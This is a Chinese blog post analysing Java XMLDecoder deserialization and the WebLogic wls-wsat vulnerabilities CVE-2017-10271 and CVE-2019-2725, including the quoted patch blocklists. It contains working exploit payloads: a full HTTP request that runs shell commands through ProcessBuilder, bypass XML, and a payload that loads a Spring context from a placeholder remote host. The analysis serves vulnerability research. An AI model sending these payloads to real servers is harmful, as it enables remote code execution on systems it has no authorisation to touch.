weblogic XMLDecoder反序列化

XMLDecoder和XMLEncoder

java中对对象的序列化和反序列化有多种实现方式,比如原生的使用ObjectOuptutStream/ObjectInputStream来实现序列化和反序列化,还有使用fastjson来进行对象的序列/反序列化,还有使用XStream等,这里的XMLEncoder/XMLDecoder也是java提供的一种序列化和反序列化的方式

XMLEncoder/XMLDecoder

定义一个java bean,这个java bean的构造方法是一个无参构造方法

package poc.xmlserilize;

import java.io.Serializable;
import java.util.Vector;

public class MyBean {
    private boolean myBoolean;
    private String myString;
    private Vector<String> myVector;

    public MyBean() {
    }
    public boolean isMyBoolean() {
        return myBoolean;
    }
    public void setMyBoolean(boolean myBoolean) {
        this.myBoolean = myBoolean;
    }
    public String getMyString() {
        return myString;
    }
    public void setMyString(String myString) {
        this.myString = myString;
    }
    public Vector<String> getMyVector() {
        return myVector;
    }
    public void setMyVector(Vector<String> myVector) {
        this.myVector = myVector;
    }
    public void sayHello(String name){
        System.out.println("this is " + name);
    }
}

接下来用XMLEncoder来序列化这个java bean

package poc.xmlserilize;

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;
import java.util.Vector;

public class XMLEncodeF {
    public static void main(String[] args) throws Exception{
        MyBean mb = new MyBean();
        mb.setMyBoolean(true);
        mb.setMyString("xml is cool");
        Vector<String> v = new Vector<String>();
        v.add("one");
        v.add("two");
        v.add("three");
        mb.setMyVector(v);

        FileOutputStream fos = new FileOutputStream("mybean.xml");
        BufferedOutputStream bos = new BufferedOutputStream(fos);
        XMLEncoder xmlEncoder = new XMLEncoder(bos);
        xmlEncoder.writeObject(mb);
        xmlEncoder.close();


//        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
//        MyBean bean = (MyBean)xmlDecoder.readObject();
//        xmlDecoder.close();

    }
}

看一下生成的xml对象

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
 <object class="poc.xmlserilize.MyBean">
  <void property="myBoolean">
   <boolean>true</boolean>
  </void>
  <void property="myString">
   <string>xml is cool</string>
  </void>
  <void property="myVector">
   <object class="java.util.Vector">
    <void method="add">
     <string>one</string>
    </void>
    <void method="add">
     <string>two</string>
    </void>
    <void method="add">
     <string>three</string>
    </void>
   </object>
  </void>
 </object>
</java>

我们现在清楚了xml对象生成的方法,我们根据文档中的一个xml对象例子来进行分析

<?xml version="1.0" encoding="UTF-8"?>
 <java version="1.0" class="java.beans.XMLDecoder">
 <object class="javax.swing.JFrame">
   <void property="name">
     <string>frame1</string>
   </void>
   <void property="bounds">
     <object class="java.awt.Rectangle">
       <int>0</int>
       <int>0</int>
       <int>200</int>
       <int>200</int>
     </object>
   </void>
   <void property="contentPane">
     <void method="add">
       <object class="javax.swing.JButton">
         <void property="label">
           <string>Hello</string>
         </void>
       </object>
     </void>
   </void>
   <void property="visible">
     <boolean>true</boolean>
   </void>
 </object>
 </java>

关于XMLEncoder和XMLDecoder有文档介绍:https://docs.oracle.com/javase/7/docs/api/java/beans/XMLEncoder.html

其中很关键的一部分


image.png

这里对标签的作用有一定的介绍,但是是英文,感觉还是不是很好理解,我们可以稍微看一下这里的介绍,明确一下标签的作用,然后通过例子自己分析一下文档结构

  1. 每一个标签都相当于一个方法调用
  2. object标签,代表一个表达式,它的值被用作围绕的标签的参数

来看上面的

<void method="add">
       <object class="javax.swing.JButton">
         <void property="label">
           <string>Hello</string>
         </void>
       </object>
     </void>

object相当于是一个表达式,object标签的结果被作为add这个方法的参数被传入,相当于add(JButton xxx)

  1. void标签,代表一个声明,比如变量的声明,方法调用的声明,它的值不被认为是围绕标签的参数

来看这一段

<void property="name">
     <string>frame1</string>
   </void>

void标签代表一个声明,这里就是一个变量的声明,property用来表示变量名,void里面的标签用来表示变量的值,这里是一个string类型的变量

  1. 除了void标签,其他任何标签都被认为是围绕标签的参数

举个例子

<object class="MyBean">
  <string>test</string>
</object>

因为这里的test不是void标签,所以test被作为MyBean构造函数的参数传入

  1. 方法可以通过method属性来进行说明,比如上面的
<void method="add">
       <object class="javax.swing.JButton">
         <void property="label">
           <string>Hello</string>
         </void>
       </object>
     </void>
  1. xml标准的id和idref用来引用上面已经定义的一个对象
  2. class属性用来明确的指出一个类的静态方法或者构造方法,为类的全限定名
  3. void如果没有指定class的话使用上下文的环境
  4. string类型可以直接使用<string>test</string>来表示

这就是最关键的几个标签了,用这几个标签可以完整的描述一个类,但是java为了方便,也提供了如<array>,<int>等数据类型的标签,在文档的下面则是介绍更加细节的一些东西以及一些约定

XML反序列化很有意思的一点就是我们可以自己去指定任意一个方法去执行,而且这个类完全可以不用实现Serializable接口,我们尝试自己构造一个ProcessBuilder对象

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
   <void index="0">
    <string>/bin/bash</string>
   </void>
   <void index="1">
    <string>-c</string>
   </void>
   <void index="2">
    <string>touch /tmp/blog</string>
   </void>
  </array>
  <void method="start">
  </void>
 </object>
</java>

反序列化:

XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
MyBean bean = (MyBean)xmlDecoder.readObject();
xmlDecoder.close();

通过XMLDecoder反序列化成功执行命令


image.png

可以看到XMLDecoder反序列化,根本不需要调用链,因为它本身可以反序列化一个类,并且可以调用任意方法,我们来稍微分析一下ProccessBuilder的构造

首先是用object标签声明了一个ProcessBuilder的对象,然后里面的array标签作为ProcessBuilder的构造函数的参数传入,而最后的void标签指定了调用的方法为start,并且start方法并没有参数可以传入,所以里面没有其他的元素了

和我们平常调用ProcessBuilder一致:


image.png

小结

所以在挖掘XMLDecoder反序列化的时候,只要在构造XMLDecoder对象的时候传入的InputStream我们可控,而且在XMLDecoder之后调用了readObject方法,就可以证明有反序列化漏洞

weblogic xmldecoder反序列化

先来个exp:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.100:7001
Content-Length: 849
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.0.100:7001
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.100:7001/wls-wsat/CoordinatorPortType
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cnva_2132_saltkey=DVnLKAq2; cnva_2132_lastvisit=1580888977; cnva_2132_sid=Phr4h5; cnva_2132_lastact=1580894593%09search.php%09forum
Connection: close

<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java class="java.beans.XMLDecoder"> 
        <void class="java.lang.ProcessBuilder"> 
          <array class="java.lang.String" length="3"> 
            <void index="0"> 
              <string>/bin/bash</string> 
            </void>  
            <void index="1"> 
              <string>-c</string> 
            </void>  
            <void index="2"> 
              <string>touch /tmp/webaklsdjfkla</string> 
            </void> 
          </array>  
          <void method="start"/>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>
image.png

成功执行命令:


image.png

把weblogic调试环境搭建好,最终出问题的地方是在WorkContextXmlInputAdapter这个类中的readUTF方法中

image.png

可以看到,这里调用了XMLDecoder的readObject方法,所以只要构造XMLDecoder的时候输入流我们可控,就可以造成xml反序列化漏洞

把断点下在readUTF上,可以看到整个的调用链:


image.png

weblogic的函数调用十分深,一步步跟太复杂,对传入soap协议进行解析的地方是在processRequest这个函数中,我们从这里跟起

image.png

这里传入了Packet对象,其实就是我们POST传入的soap协议


image.png

通过这两个函数获取了soap协议头的值


image.png

这里对头部还有一个匹配的操作,必须有一些特定的属性和字段


image.png

这就是为什么soap头要添加几个字段和属性


image.png

接下来我们获取到了soap的头部,之后进入到readHeaderOld,在这里对soap的头部进行了去除,拿出了包裹的xml对象


image.png

接下来对WorkContextXmlInputAdapter的实例化,这里实例化了XMLDecoder并且可以看出来,传入的输入流正是我们可控的xml对象

image.png

这个时候,我们只要找到调用XMLDecoder.readObject的地方就可以了,从这里的WorkContextXmlInputAdapter可以猜测这个类是一个拦截器,我们一致跟着var1这个变量,看它在什么时候调用了自己的方法,一致跟到readEntry这个方法,这个变量调用了readUTF方法

image.png

最后成功在readUTF中触发反序列化

weblogic的修复和绕过

第一次拦截

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

防御非常简单,如果开始的标签为object标签直接抛出异常推出

CVE-2017-10271

前面说过了,在文档中也提到,可以不用object标签来代表一个对象,void标签同样可以,也就是CVE-2017-10271的绕过方法:

<java> 
  <void class="java.lang.ProcessBuilder"> 
    <array class="java.lang.String" length="1"> 
      <void index="0"> 
        <string>calc</string> 
      </void> 
    </array>  
    <void method="start"/>
  </void> 
</java>

第二次拦截

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

CVE-2019-2725

<java> 
  <class> 
    <string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>  
    <void> 
      <string>http://xxxx</string> 
    </void> 
  </class> 
</java>

文档也提到了class标签


image.png

但是没有很详细的说明,CVE-2019-2725就是基于class标签的绕过

因为之前限制了不能有method属性,所以不能直接执行方法了,所以只能找类的构造方法中有反序列化的地方

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,706评论 4 366
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,002评论 1 301
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 110,462评论 0 250
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,375评论 0 216
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,763评论 3 294
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,849评论 1 224
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,033评论 2 317
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,768评论 0 204
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,490评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,734评论 2 253
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,204评论 1 264
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,566评论 3 260
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,227评论 3 241
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,137评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,934评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,926评论 2 283
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,774评论 2 274

推荐阅读更多精彩内容